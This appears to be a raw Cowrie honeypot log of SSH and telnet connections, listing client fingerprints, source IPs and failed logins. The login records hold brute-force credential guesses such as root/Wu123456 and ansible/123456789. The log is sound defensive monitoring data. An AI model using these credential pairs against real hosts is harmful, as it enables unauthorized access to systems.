{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:46.677778Z","src_ip":"52.231.220.210","session":"adbd2c645742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wu123456","message":"login attempt [root/Wu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:47.433270Z","src_ip":"52.231.220.210","session":"adbd2c645742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:48.615301Z","src_ip":"52.231.220.210","session":"adbd2c645742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45364,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce352583489b","protocol":"ssh","message":"New connection: 176.65.139.103:45364 (10.17.0.5:22) [session: ce352583489b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:49.116745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:49.120514Z","src_ip":"176.65.139.103","session":"ce352583489b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:49.202263Z","src_ip":"176.65.139.103","session":"ce352583489b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:49.513725Z","src_ip":"176.65.139.103","session":"ce352583489b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:50.606907Z","src_ip":"176.65.139.103","session":"ce352583489b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41312,"dst_ip":"159.203.135.109","dst_port":22,"session":"a761586e179f","protocol":"ssh","message":"New connection: 159.203.92.129:41312 (159.203.135.109:22) [session: a761586e179f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:51.605560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:51.614892Z","src_ip":"159.203.92.129","session":"a761586e179f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:51.618482Z","src_ip":"159.203.92.129","session":"a761586e179f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123456789","message":"login attempt [ansible/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:51.644795Z","src_ip":"159.203.92.129","session":"a761586e179f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:52.651843Z","src_ip":"159.203.92.129","session":"a761586e179f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50634,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eaec85c22ff","protocol":"ssh","message":"New connection: 176.65.139.103:50634 (10.17.0.5:22) [session: 9eaec85c22ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:56.214515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:56.242452Z","src_ip":"176.65.139.103","session":"9eaec85c22ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:56.390948Z","src_ip":"176.65.139.103","session":"9eaec85c22ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:56.805405Z","src_ip":"176.65.139.103","session":"9eaec85c22ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:57.890380Z","src_ip":"176.65.139.103","session":"9eaec85c22ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":38042,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e5acd4c3772","protocol":"ssh","message":"New connection: 202.184.144.220:38042 (10.17.0.5:22) [session: 2e5acd4c3772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:58.460916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:58.464315Z","src_ip":"202.184.144.220","session":"2e5acd4c3772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:58.714542Z","src_ip":"202.184.144.220","session":"2e5acd4c3772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brasil","message":"login attempt [root/brasil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:59.741251Z","src_ip":"202.184.144.220","session":"2e5acd4c3772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:00.991315Z","src_ip":"202.184.144.220","session":"2e5acd4c3772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58284,"dst_ip":"10.17.0.5","dst_port":22,"session":"86202795a62f","protocol":"ssh","message":"New connection: 176.65.139.103:58284 (10.17.0.5:22) [session: 86202795a62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:03.738847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:03.743166Z","src_ip":"176.65.139.103","session":"86202795a62f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:03.824515Z","src_ip":"176.65.139.103","session":"86202795a62f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:04.078350Z","src_ip":"176.65.139.103","session":"86202795a62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.17","src_port":9576,"dst_ip":"159.203.135.109","dst_port":22,"session":"04f6676a7e6e","protocol":"ssh","message":"New connection: 64.62.197.17:9576 (159.203.135.109:22) [session: 04f6676a7e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:05.045848Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:05.050318Z","src_ip":"64.62.197.17","session":"04f6676a7e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:05.054022Z","src_ip":"64.62.197.17","session":"04f6676a7e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:05.438889Z","src_ip":"176.65.139.103","session":"86202795a62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49482,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ed0000f42df","protocol":"telnet","message":"New connection: 185.26.126.47:49482 (159.203.135.109:23) [session: 9ed0000f42df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:07.939831Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":56654,"dst_ip":"10.17.0.5","dst_port":22,"session":"55d322e87f8a","protocol":"ssh","message":"New connection: 103.176.20.115:56654 (10.17.0.5:22) [session: 55d322e87f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:08.977967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:08.982651Z","src_ip":"103.176.20.115","session":"55d322e87f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:09.238934Z","src_ip":"103.176.20.115","session":"55d322e87f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58306,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ae2cf97029","protocol":"ssh","message":"New connection: 176.65.139.103:58306 (10.17.0.5:22) [session: 58ae2cf97029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:10.243637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:10.247942Z","src_ip":"176.65.139.103","session":"58ae2cf97029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@qwert","message":"login attempt [root/1234@qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:10.296624Z","src_ip":"103.176.20.115","session":"55d322e87f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:10.349444Z","src_ip":"176.65.139.103","session":"58ae2cf97029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:11.054070Z","src_ip":"176.65.139.103","session":"58ae2cf97029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:11.556548Z","src_ip":"103.176.20.115","session":"55d322e87f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:12.173445Z","src_ip":"176.65.139.103","session":"58ae2cf97029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59306,"dst_ip":"10.17.0.5","dst_port":22,"session":"221a19e5faeb","protocol":"ssh","message":"New connection: 176.65.139.103:59306 (10.17.0.5:22) [session: 221a19e5faeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:17.547337Z"}
